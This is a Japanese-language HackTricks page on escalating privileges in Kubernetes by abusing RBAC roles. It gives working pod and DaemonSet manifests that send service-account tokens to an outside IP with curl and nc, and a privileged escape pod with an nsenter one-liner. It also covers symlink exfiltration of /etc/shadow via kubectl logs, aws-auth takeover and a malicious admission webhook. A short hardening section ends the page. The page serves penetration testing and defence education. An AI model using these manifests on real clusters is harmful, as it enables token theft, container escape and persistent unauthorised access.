Abusing Roles/ClusterRoles in Kubernetes

HackTricksをサポートする

ここでは、潜在的に危険なRolesおよびClusterRolesの構成を見つけることができます。 kubectl api-resourcesを使用して、すべてのサポートされているリソースを取得できることを忘れないでください。

特権昇格

異なる特権を持つ別のプリンシパルにアクセスする技術(Kubernetesクラスター内または外部クラウドへのアクセス)を指します。Kubernetesには、特権を昇格させるための基本的に4つの主要な技術があります:

  • Kubernetesクラスター内または外部クラウドで、より良い特権を持つ他のユーザー/グループ/SAをなりすますことができる

  • Kubernetesクラスター内または外部クラウドで、より良い特権を持つSAを見つけたり、アタッチしたりすることができるポッドを作成/パッチ/実行する

  • SAのトークンがシークレットとして保存されているため、シークレットを読むことができる

  • コンテナからノードにエスケープすることができ、ノードで実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる(ある場合)

  • 言及に値する5番目の技術は、ポッド内でポートフォワードを実行する能力です。これにより、そのポッド内の興味深いリソースにアクセスできる可能性があります。

任意のリソースまたは動詞へのアクセス(ワイルドカード)

ワイルドカード(*)は、任意の動詞を持つ任意のリソースに対する権限を与えます。これは管理者によって使用されます。ClusterRole内では、攻撃者がクラスター内の任意のnamespaceを悪用できることを意味します。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

特定の動詞で任意のリソースにアクセスする

RBACでは、特定の権限が重大なリスクをもたらします:

  1. create: 任意のクラスターリソースを作成する能力を付与し、特権昇格のリスクを伴います。

  2. list: すべてのリソースをリストすることを許可し、機密データが漏洩する可能性があります。

  3. get: サービスアカウントからシークレットにアクセスすることを許可し、セキュリティの脅威をもたらします。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

ポッドを作成する権限を持つ攻撃者は、特権のあるサービスアカウントをポッドにアタッチし、そのトークンを盗んでサービスアカウントを偽装することができます。実質的に権限を昇格させることになります。

bootstrap-signerサービスアカウントのトークンを盗み、攻撃者に送信するポッドの例:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Podの作成とエスケープ

以下は、コンテナが持つことができるすべての権限を示しています:

  • 特権アクセス(保護を無効にし、能力を設定する)

  • namespace hostIPCおよびhostPidを無効にする これにより権限を昇格させることができます

  • hostNetwork namespaceを無効にし、ノードのクラウド権限を盗むためのアクセスとネットワークへのより良いアクセスを提供します

  • ホストをマウントする / コンテナ内

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

ポッドを作成するには:

kubectl --token $token create -f mount_root.yaml

このツイートからのワンライナーといくつかの追加:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

今、ノードにエスケープできるようになったので、以下のページでポストエクスプロイト技術を確認してください:

ステルス

おそらく、あなたはステルス性を高めたいと思っているでしょう。以下のページでは、前のテンプレートで言及された特権の一部のみを有効にしてポッドを作成した場合にアクセスできるものを確認できます:

  • 特権 + hostPID

  • 特権のみ

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

前の特権ポッド構成を作成/悪用する方法の例は https://github.com/BishopFox/badPods で見つけることができます。

ポッド作成 - クラウドに移動

ポッド(およびオプションでサービスアカウント)を作成できる場合、ポッドまたはサービスアカウントにクラウドロールを割り当てることによってクラウド環境で特権を取得できるかもしれません。そして、それにアクセスします。 さらに、ホストネットワーク名前空間を持つポッドを作成できる場合、ノードインスタンスのIAMロールを盗むことができます。

詳細については、以下を確認してください:

デプロイメント、デーモンセット、ステートフルセット、レプリケーションコントローラー、レプリカセット、ジョブ、クロンジョブの作成/パッチ

これらの権限を悪用して、新しいポッドを作成し、前の例のように特権を確立することが可能です。

以下のyamlは、デーモンセットを作成し、ポッド内のSAのトークンを外部に流出させます

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec は、ポッド内のシェルでコマンドを実行するために使用されるkubernetesのリソースです。これにより、コンテナ内でコマンドを実行したり、シェルに入ったりすることができます

したがって、ポッドに入ってSAのトークンを盗んだり、特権ポッドに入ってノードに脱出し、ノード内のすべてのポッドのトークンを盗んでノードを(悪用)することが可能です

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

この権限は、指定されたポッド内の1つのポートに1つのローカルポートを転送することを許可します。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はこれを悪用して、ポッド内の興味深い(データベースのような)または脆弱なアプリケーション(ウェブ?)にアクセスする可能性があります:

kubectl port-forward pod/mypod 5000:5000

ホストの書き込み可能な /var/log/ エスケープ

この研究で示されているようにホストの /var/log/ ディレクトリがマウントされたポッドにアクセスまたは作成できる場合コンテナからエスケープすることができます。 これは基本的に、Kube-APIがコンテナのログを取得しようとする際kubectl logs <pod>を使用)、ポッドの 0.log ファイルを Kubelet サービスの /logs/ エンドポイントを使用してリクエストするためです。 Kubeletサービスは /logs/ エンドポイントを公開しており、これは基本的に コンテナの /var/log ファイルシステムを公開しているだけです。

したがって、コンテナの /var/log/ フォルダーに書き込みアクセスを持つ攻撃者は、この動作を2つの方法で悪用することができます:

  • コンテナの 0.log ファイル(通常は /var/logs/pods/namespace_pod_uid/container/0.log にあります)を /etc/shadow を指すシンボリックリンクに変更します。そうすれば、ホストのシャドウファイルをエクスフィルトレートすることができます:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 攻撃者が nodes/log を読む権限を持つ任意のプリンシパルを制御している場合、彼は単に /host-mounted/var/log/sym/ への シンボリックリンク を作成し、https://<gateway>:10250/logs/sym/ にアクセスすることでホストのルート ファイルシステムをリスト表示することができます(シンボリックリンクを変更することでファイルへのアクセスが可能になります)。

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

実験室と自動化されたエクスプロイトは https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts で見つけることができます。

読み取り専用保護のバイパス

運が良ければ、高度に特権のある能力 CAP_SYS_ADMIN が利用可能であれば、フォルダーをrwとして再マウントすることができます:

mount -o rw,remount /hostlogs/

hostPathのreadOnly保護を回避する

この研究に記載されているように、保護を回避することが可能です:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

ホストパスマウントの代わりに、PersistentVolumeとPersistentVolumeClaimを使用して、書き込み可能なアクセスでコンテナ内のホストフォルダをマウントすることで、前のようなエスケープを防ぐことを目的としていました。

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

特権アカウントのなりすまし

ユーザーのなりすまし権限を持つ攻撃者は、特権アカウントになりすますことができます。

kubectlコマンドで--as=<username>パラメータを使用してユーザーになりすますか、--as-group=<group>を使用してグループになりすますだけです:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

またはREST APIを使用します:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Secretsのリスト

シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを許可する可能性があります REST APIエンドポイントにアクセスすることで:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

秘密の読み取り – トークンIDのブルートフォース攻撃

読み取り権限を持つトークンを所持している攻撃者は、それを使用するために秘密の正確な名前を必要としますが、より広範な 秘密のリスト表示 権限とは異なり、依然として脆弱性があります。システム内のデフォルトサービスアカウントは列挙可能で、それぞれが秘密に関連付けられています。これらの秘密は、静的なプレフィックスの後にランダムな5文字の英数字トークン(特定の文字を除く)を持つ名前構造を持っています。ソースコードによると。

トークンは、完全な英数字範囲ではなく、限られた27文字のセット(bcdfghjklmnpqrstvwxz2456789)から生成されます。この制限により、可能な組み合わせの総数は14,348,907(27^5)に減少します。したがって、攻撃者は数時間でトークンを推測するためのブルートフォース攻撃を実行することが現実的であり、機密サービスアカウントにアクセスすることによって特権の昇格につながる可能性があります。

証明書署名要求

リソース certificatesigningrequestscreate の動詞がある場合(または少なくとも certificatesigningrequests/nodeClient に)。新しいノードの新しいCeSRを作成できます。

ドキュメントによると、これらの要求を自動承認することが可能ですので、その場合は追加の権限は必要ありません。そうでない場合は、要求を承認できる必要があり、これは certificatesigningrequests/approval の更新と、リソース名 <signerNameDomain>/<signerNamePath> または <signerNameDomain>/* での signers の承認を意味します。

必要なすべての権限を持つロールの例は次のとおりです:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

新しいノードCSRが承認されたので、ノードの特別な権限を悪用して秘密を盗み権限を昇格させることができます。

この投稿こちらでは、GKE K8s TLSブートストラップ構成が自動署名で設定されており、新しいK8sノードの資格情報を生成するために悪用され、その後それを使用して秘密を盗むことで権限を昇格させます。 前述の権限を持っていれば、同じことができます。最初の例は、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避します。なぜなら、ノードは自分にマウントされたコンテナの秘密にのみアクセスできるからです。

これを回避する方法は、興味のある秘密がマウントされているコンテナのノード名のノード資格情報を作成することです(ただし、最初の投稿での方法を確認してください):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS(AWSにいる必要があります)クラスターのkube-system名前空間で**configmapsを変更できるプリンシパルは、aws-auth configmapを上書きすることでクラスター管理者権限を取得できます。 必要な動詞はupdatepatch、またはconfigmapが作成されていない場合はcreate**です:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

aws-authを使用して、他のアカウントのユーザーにアクセスを提供することで持続性を確保できます。

ただし、aws --profile other_account eks update-kubeconfig --name <cluster-name>異なるアカウントからは機能しません。しかし、実際にはaws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testingは、名前の代わりにクラスターのARNを指定すれば機能します。 kubectlを機能させるには、被害者のkubeconfigを設定し、aws exec argsに--profile other_account_roleを追加するだけで、kubectlは他のアカウントのプロファイルを使用してトークンを取得し、AWSに連絡します。

GKEでの権限昇格

GCPのプリンシパルにK8sの権限を割り当てる方法は2つあります。いずれの場合も、プリンシパルはクラスターにアクセスするための資格情報を取得するために**container.clusters.get**の権限が必要です。そうでない場合は、自分のkubectl設定ファイルを生成する必要があります(次のリンクを参照)。

K8s APIエンドポイントに話しかけると、GCP認証トークンが送信されます。その後、GCPはK8s APIエンドポイントを通じて、最初にプリンシパル(メールアドレスによる)がクラスター内にアクセス権を持っているかどうかを確認し、次にGCP IAMを介してアクセス権を持っているかどうかを確認します。 もしいずれかであれば、応答が返されます。そうでない場合は、GCP IAMを介して権限を与えることを提案するエラーが表示されます。

最初の方法はGCP IAMを使用することで、K8sの権限には対応するGCP IAMの権限があります。プリンシパルがそれを持っていれば、使用できるようになります。

2つ目の方法は、クラスター内でK8sの権限を割り当てることで、ユーザーをそのメールアドレスで特定します(GCPサービスアカウントを含む)。

サービスアカウントトークンの作成

TokenRequestsserviceaccounts/token)を作成できるプリンシパル。K8s APIエンドポイントに話しかけると、SAs(こちらからの情報)。

ephemeralcontainers

updateまたはpatchpods/ephemeralcontainersを行えるプリンシパルは、他のポッドでコード実行を得ることができ、特権のsecurityContextを持つ一時的なコンテナを追加することでノードから抜け出す可能性があります。

ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations

validatingwebhookconfigurationsまたはmutatingwebhookconfigurationsに対してcreateupdate、またはpatchのいずれかの動詞を持つプリンシパルは、権限を昇格させるためにそのようなwebhookconfigurationsの1つを作成できる可能性があります。

mutatingwebhookconfigurationsの例については、この投稿のこのセクションを確認してください

昇格

次のセクションで読むことができるように:組み込みの特権昇格防止、プリンシパルは新しい権限を持たずにロールやクラスターのロールを更新または作成することはできません。**rolesまたはclusterrolesに対して動詞escalate**を持っている場合を除いて。 その場合、彼はより良い権限を持つ新しいロールやクラスターのロールを更新/作成できます。

ノードプロキシ

nodes/proxyサブリソースにアクセスできるプリンシパルは、Kubelet APIを介してポッドでコードを実行できます(こちらに従って)。Kubelet認証に関する詳細はこのページにあります:

Kubelet APIに認可された状態でRCEを取得する方法の例はこちら

ポッドの削除 + スケジュール不可のノード

ポッドを削除できるプリンシパル(podsリソースに対するdelete動詞)、またはポッドを追い出すpods/evictionリソースに対するcreate動詞)、またはポッドの状態を変更できる(pods/statusへのアクセス)プリンシパルは、他のノードをスケジュール不可にするnodes/statusへのアクセス)ことができ、またはノードを削除できる(nodesリソースに対するdelete動詞)場合、ポッドを制御している場合、他のノードからポッドを盗むことができ、そうすることで侵害された****ノード実行され、攻撃者はそれらのポッドからトークンを盗むことができます。

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

サービスのステータス (CVE-2020-8554)

services/status変更 できるプリンシパルは、status.loadBalancer.ingress.ip フィールドを設定して 未修正の CVE-2020-8554 を悪用し、クラスターに対する MiTM 攻撃 を開始することができます。CVE-2020-8554 に対するほとんどの緩和策は、ExternalIP サービスを防ぐだけです(こちら による)。

ノードとポッドのステータス

nodes/status または pods/status に対して update または patch 権限を持つプリンシパルは、スケジューリング制約に影響を与えるラベルを変更できます。

組み込みの特権昇格防止

Kubernetes には、特権昇格を防ぐための 組み込みメカニズム があります。

このシステムは、ユーザーが役割や役割バインディングを変更することで特権を昇格させることができないことを保証します。このルールの施行は API レベルで行われ、RBAC 認証者が非アクティブな場合でも保護を提供します。

このルールは、ユーザーは役割に含まれるすべての権限を持っている場合にのみ、役割を作成または更新できると定めています。さらに、ユーザーの既存の権限の範囲は、作成または変更しようとしている役割の範囲と一致しなければなりません:ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース(またはクラスター全体)に制限されます。

前述のルールには例外があります。プリンシパルが roles または clusterroles に対して 動詞 escalate を持っている場合、彼は自分自身が権限を持っていなくても役割やクラスター役割の特権を増加させることができます。

RoleBindings/ClusterRoleBindings の取得とパッチ

この技術は以前は機能していましたが、私のテストによると、前のセクションで説明した理由でもはや機能していません。すでに権限を持っていない場合、自分自身または別の SA に特権を与えるために rolebinding を作成/変更することはできません。

Rolebindings を作成する特権は、ユーザーが サービスアカウントに役割をバインドする ことを可能にします。この特権は、ユーザーが侵害されたサービスアカウントに管理者特権をバインドできるため、特権昇格につながる可能性があります。

その他の攻撃

サイドカー プロキシ アプリ

デフォルトでは、ポッド間の通信には暗号化がありません。相互認証、双方向、ポッドからポッドへ。

サイドカー プロキシ アプリの作成

あなたの .yaml を作成してください。

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

.yamファイルを編集し、コメントアウトされていない行を追加します:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

プロキシのログを確認してください:

kubectl logs app -C proxy

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

悪意のあるAdmission Controller

Admission Controllerは、オブジェクトの永続化の前にKubernetes APIサーバーへのリクエストを傍受しますが、リクエストが認証され承認された後に行われます。

攻撃者が何らかの方法でMutationg Admission Controllerを注入することに成功すれば、すでに認証されたリクエストを変更することができます。これにより、潜在的に権限昇格を行ったり、より一般的にはクラスター内に持続することが可能になります。

例は https://blog.rewanthtammana.com/creating-malicious-admission-controllers から:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

ステータスを確認して、準備ができているかどうかを確認します:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

次に、新しいポッドをデプロイします:

kubectl run nginx --image nginx
kubectl get po -w

ErrImagePull エラーが表示された場合は、次のいずれかのクエリでイメージ名を確認してください:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

上の画像に示されているように、私たちはイメージ nginx を実行しようとしましたが、最終的に実行されたイメージは rewanthtammana/malicious-image です。何が起こったのでしょうか?

Technicalities

./deploy.sh スクリプトは、Kubernetes APIへのリクエストをその設定行に従って変更するミューテイティングウェブホックアドミッションコントローラーを確立します。これにより、観察される結果に影響を与えます:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Best Practices

Service Account トークンの自動マウントを無効にする

  • ポッドとサービスアカウント: デフォルトでは、ポッドはサービスアカウントトークンをマウントします。セキュリティを強化するために、Kubernetesはこの自動マウント機能を無効にすることを許可しています。

  • 適用方法: Kubernetes バージョン 1.6 以降、サービスアカウントまたはポッドの設定で automountServiceAccountToken: false を設定します。

RoleBindings/ClusterRoleBindings における制限付きユーザー割り当て

  • 選択的な含有: RoleBindings または ClusterRoleBindings に必要なユーザーのみを含めるようにします。定期的に監査し、関連性のないユーザーを削除して、厳格なセキュリティを維持します。

クラスター全体のロールよりも名前空間特有のロールを使用する

  • ロールと ClusterRoles: クラスター全体に適用される ClusterRoles と ClusterRoleBindings よりも、名前空間特有の権限には Roles と RoleBindings を使用することを推奨します。このアプローチは、より細かい制御を提供し、権限の範囲を制限します。

自動化ツールを使用する

References

Support HackTricks

Last updated